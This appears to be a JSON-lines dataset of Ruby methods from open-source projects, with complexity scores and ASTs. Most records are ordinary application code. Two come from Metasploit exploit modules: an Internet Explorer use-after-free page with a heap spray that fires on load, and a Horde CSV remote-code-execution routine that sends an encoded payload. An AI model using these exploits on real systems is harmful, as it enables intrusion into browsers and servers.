{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":237,"raw_source":"def variant_plus_none_for_format\n    respond_to do |format|\n      format.html do |variant|\n        variant.phone { render body: \"phone\" }\n        variant.none\n      end\n    end\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"variant_plus_none_for_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variant\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"phone\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"phone\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"none\"]}]}]}]}]}","id":"3895c0b7-9894-49aa-a23c-1feea8c835e3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/service_desk.rb","start_line":147,"raw_source":"def setup_service_desk_mail(issue_id, issue_email_participant = nil)\n      @issue = Issue.find(issue_id)\n      @project = @issue.project\n      @support_bot = Users::Internal.support_bot\n\n      @service_desk_setting = @project.service_desk_setting\n\n      if issue_email_participant.blank? && @issue.external_author.present?\n        issue_email_participant = @issue.issue_email_participants.find_by_email(@issue.external_author)\n      end\n\n      @sent_notification = SentNotification.record(@issue, @support_bot.id, {\n        issue_email_participant: issue_email_participant\n      })\n    end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_service_desk_mail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_id\"]},{\"type\":\"optarg\",\"children\":[\"issue_email_participant\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@issue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Issue\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@support_bot\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Internal\"]},\"support_bot\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@service_desk_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"service_desk_setting\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_email_participant\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"external_author\"]},\"present?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"issue_email_participant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"issue_email_participants\"]},\"find_by_email\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"external_author\"]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@sent_notification\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SentNotification\"]},\"record\",{\"type\":\"ivar\",\"children\":[\"@issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@support_bot\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_email_participant\"]},{\"type\":\"lvar\",\"children\":[\"issue_email_participant\"]}]}]}]}]}]}]}","id":"871d700d-d762-49b3-a502-6146e0ab2b2c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/announcements/previews_controller.rb","start_line":13,"raw_source":"def set_announcement\n    @announcement = Announcement.find(params[:announcement_id])\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_announcement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@announcement\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Announcement\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"announcement_id\"]}]}]}]}]}","id":"6fb55af1-cd3d-4bf7-827d-56f0854ac318"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_import.rb","start_line":99,"raw_source":"def supports_batched_export?\n    source_version_info >= self.class.min_gl_version_for_migration_in_batches\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"supports_batched_export?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_version_info\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"min_gl_version_for_migration_in_batches\"]}]}]}","id":"3c7286ad-3a7a-4652-9218-eb7ccf1666d5"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/op_primer/status_button_component_preview.rb","start_line":67,"raw_source":"def with_icon(size: :medium)\n      status = OpPrimer::StatusButtonOption.new(name: \"Open\",\n                                                color_ref: :open,\n                                                color_namespace: :meeting_status,\n                                                icon: :unlock)\n\n      items = [\n        status,\n        OpPrimer::StatusButtonOption.new(name: \"Closed\",\n                                         color_ref: :closed,\n                                         color_namespace: :meeting_status,\n                                         icon: :lock)\n      ]\n\n      component = OpPrimer::StatusButtonComponent.new(current_status: status,\n                                                      items: items,\n                                                      readonly: false,\n                                                      button_arguments: { size:, title: \"foo\" })\n\n      render(component)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"size\",{\"type\":\"sym\",\"children\":[\"medium\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"StatusButtonOption\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_ref\"]},{\"type\":\"sym\",\"children\":[\"open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_namespace\"]},{\"type\":\"sym\",\"children\":[\"meeting_status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"unlock\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"StatusButtonOption\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Closed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_ref\"]},{\"type\":\"sym\",\"children\":[\"closed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_namespace\"]},{\"type\":\"sym\",\"children\":[\"meeting_status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"lock\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"component\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"StatusButtonComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"items\"]},{\"type\":\"lvar\",\"children\":[\"items\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"button_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"lvar\",\"children\":[\"component\"]}]}]}]}","id":"78e31345-597b-4720-8537-aafa765e0311"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms11_081_option.rb","start_line":159,"raw_source":"def load_exploit_html(my_target, cli)\n    @heap_spray_func = \"heap_spray\"\n    p = get_payload(my_target, cli)\n    js = ie_heap_spray(my_target, p)\n\n    # var fakeobj = unescape(\"%u0c0c%u0c0c\");\n    # call to 0c0c0c0c\n    # eax ==> 0c0c0a14\n    html = %Q|\n    <!DOCTYPE html>\n    <html>\n    <head>\n    <script>\n    #{js}\n\n    function ivan()\n    {\n\n      var fakeobj = unescape(\"%u0a14%u0c0c\");\n      fakeobj += unescape(\"%u4141%u4141\");\n      while (fakeobj.length <= 0x38/2) fakeobj += unescape(\"%u4141%u4141\");\n\n      var formobj, selobj, optobj;\n      selobj = document.getElementById(\"select1\");\n      formobj = selobj.form;\n\n      var imgarray = new Array();\n      for(var j = 0; j < 500; j++) {\n        imgarray.push(document.createElement(\"img\"));\n      }\n\n      for(var i=0;i<5;i++) {\n        optobj = document.createElement('option');\n        optobj.text = \"test\";\n        selobj.add(optobj);\n      }\n\n      selobj.innerText = \"foo\";\n\n      for(var i = 0; i < imgarray.length; i++) {\n        imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);\n      }\n\n      #{@heap_spray_func}();\n\n      formobj.reset();\n    }\n\n    </script>\n    </head>\n\n    <body onload='ivan()'>\n    <form method=\"post\">\n    <select id=\"select1\">\n    </select>\n    </form>\n    </body>\n    </html>\n    |\n\n    return html\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_exploit_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"my_target\"]},{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@heap_spray_func\",{\"type\":\"str\",\"children\":[\"heap_spray\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"get_payload\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie_heap_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    <!DOCTYPE html>\\n\"]},{\"type\":\"str\",\"children\":[\"    <html>\\n\"]},{\"type\":\"str\",\"children\":[\"    <head>\\n\"]},{\"type\":\"str\",\"children\":[\"    <script>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    function ivan()\\n\"]},{\"type\":\"str\",\"children\":[\"    {\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      var fakeobj = unescape(\\\"%u0a14%u0c0c\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      fakeobj += unescape(\\\"%u4141%u4141\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      while (fakeobj.length <= 0x38/2) fakeobj += unescape(\\\"%u4141%u4141\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      var formobj, selobj, optobj;\\n\"]},{\"type\":\"str\",\"children\":[\"      selobj = document.getElementById(\\\"select1\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      formobj = selobj.form;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      var imgarray = new Array();\\n\"]},{\"type\":\"str\",\"children\":[\"      for(var j = 0; j < 500; j++) {\\n\"]},{\"type\":\"str\",\"children\":[\"        imgarray.push(document.createElement(\\\"img\\\"));\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      for(var i=0;i<5;i++) {\\n\"]},{\"type\":\"str\",\"children\":[\"        optobj = document.createElement('option');\\n\"]},{\"type\":\"str\",\"children\":[\"        optobj.text = \\\"test\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"        selobj.add(optobj);\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      selobj.innerText = \\\"foo\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      for(var i = 0; i < imgarray.length; i++) {\\n\"]},{\"type\":\"str\",\"children\":[\"        imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@heap_spray_func\"]}]},{\"type\":\"str\",\"children\":[\"();\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      formobj.reset();\\n\"]},{\"type\":\"str\",\"children\":[\"    }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    </script>\\n\"]},{\"type\":\"str\",\"children\":[\"    </head>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    <body onload='ivan()'>\\n\"]},{\"type\":\"str\",\"children\":[\"    <form method=\\\"post\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"    <select id=\\\"select1\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"    </select>\\n\"]},{\"type\":\"str\",\"children\":[\"    </form>\\n\"]},{\"type\":\"str\",\"children\":[\"    </body>\\n\"]},{\"type\":\"str\",\"children\":[\"    </html>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]}","id":"3967c317-2f33-4e72-bce8-105b71f59ac6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/batch_count_spec.rb","start_line":26,"raw_source":"def calculate_batch_size(batch_size)\n    zero_offset_modifier = -1\n\n    batch_size + zero_offset_modifier\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_batch_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zero_offset_modifier\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_size\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"zero_offset_modifier\"]}]}]}]}","id":"65980283-31df-48d4-8143-994f9f5b9191"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/horde_csv_rce.rb","start_line":119,"raw_source":"def exploit\n    cookie = login\n    upload_csv(cookie)\n    # do not terminate the statement\n    function_call = payload.encoded.tr(';', '')\n    vprint_status(\"Sending payload: #{function_call}\")\n    execute(cookie, function_call)\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[null,\"login\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_csv\",{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"lvasgn\",\"children\":[\"function_call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"tr\",{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending payload: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"function_call\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"lvar\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"function_call\"]}]}]}]}","id":"756db381-911b-4fee-a6cc-4d404b6b0485"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/common.rb","start_line":99,"raw_source":"def pdf_table_auto_widths(data, column_widths, options, &)\n    return if data.empty?\n\n    pdf.table(data, options.merge({ width: pdf.bounds.width }), &)\n  rescue Prawn::Errors::CannotFit\n    pdf_table_fixed_widths(data, column_widths, options, &)\n  end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pdf_table_auto_widths\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"column_widths\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"table\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"bounds\"]},\"width\"]}]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prawn\"]},\"Errors\"]},\"CannotFit\"]}]},null,{\"type\":\"send\",\"children\":[null,\"pdf_table_fixed_widths\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"column_widths\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]},null]}]}","id":"c879d31e-1e7a-4310-8c1e-c681cfff8ee7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/delete_test_ssh_keys.rb","start_line":58,"raw_source":"def fetch_test_ssh_keys\n        keys = fetch_resources(\"/user/keys\", @user_api_client)\n\n        keys.select do |key|\n          key[:title].include?(@title_portion)\n        end\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_test_ssh_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[null,\"fetch_resources\",{\"type\":\"str\",\"children\":[\"/user/keys\"]},{\"type\":\"ivar\",\"children\":[\"@user_api_client\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@title_portion\"]}]}]}]}]}","id":"d638ee2e-de82-4849-afe5-c6ad02be175a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/numeric_predicate.rb","start_line":154,"raw_source":"def invert\n          lambda do |comparison, numeric|\n            comparison = { :> => :<, :< => :> }[comparison] || comparison\n\n            [numeric, comparison]\n          end\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"invert\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comparison\"]},{\"type\":\"arg\",\"children\":[\"numeric\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comparison\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"sym\",\"children\":[\"<\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"<\"]},{\"type\":\"sym\",\"children\":[\">\"]}]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"comparison\"]}]},{\"type\":\"lvar\",\"children\":[\"comparison\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numeric\"]},{\"type\":\"lvar\",\"children\":[\"comparison\"]}]}]}]}]}","id":"c5875b0f-ac81-4409-bcfa-a94a9b2bf93e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/base.rb","start_line":38,"raw_source":"def to_s\n          format(<<~MSG.strip, page: @page_class)\n            %{page} has no required elements.\n            See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/dynamic_element_validation.html#required-elements\n          MSG\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%{page} has no required elements.\\n\"]},{\"type\":\"str\",\"children\":[\"See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/dynamic_element_validation.html#required-elements\\n\"]}]},\"strip\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"ivar\",\"children\":[\"@page_class\"]}]}]}]}]}","id":"60705a51-91a2-4324-a6cc-82bc1fddfe1b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/bookmarks_controller.rb","start_line":6,"raw_source":"def create\n    params.require(:bookmarkable_id)\n    params.require(:bookmarkable_type)\n    params.permit(\n      :bookmarkable_id,\n      :bookmarkable_type,\n      :name,\n      :reminder_at,\n      :auto_delete_preference,\n    )\n\n    RateLimiter.new(\n      current_user,\n      \"create_bookmark\",\n      SiteSetting.max_bookmarks_per_day,\n      1.day.to_i,\n    ).performed!\n\n    bookmark_manager = BookmarkManager.new(current_user)\n    bookmark =\n      bookmark_manager.create_for(\n        bookmarkable_id: params[:bookmarkable_id],\n        bookmarkable_type: params[:bookmarkable_type],\n        name: params[:name],\n        reminder_at: params[:reminder_at],\n        options: {\n          auto_delete_preference: params[:auto_delete_preference],\n        },\n      )\n\n    return render json: success_json.merge(id: bookmark.id) if bookmark_manager.errors.empty?\n\n    render json: failed_json.merge(errors: bookmark_manager.errors.full_messages),\n           status: :bad_request\n  end","complexity_score":48.45,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"bookmarkable_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"bookmarkable_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"bookmarkable_id\"]},{\"type\":\"sym\",\"children\":[\"bookmarkable_type\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"reminder_at\"]},{\"type\":\"sym\",\"children\":[\"auto_delete_preference\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"str\",\"children\":[\"create_bookmark\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_bookmarks_per_day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"to_i\"]}]},\"performed!\"]},{\"type\":\"lvasgn\",\"children\":[\"bookmark_manager\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BookmarkManager\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bookmark\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark_manager\"]},\"create_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bookmarkable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bookmarkable_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bookmarkable_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bookmarkable_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reminder_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reminder_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_delete_preference\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auto_delete_preference\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark_manager\"]},\"errors\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark\"]},\"id\"]}]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\"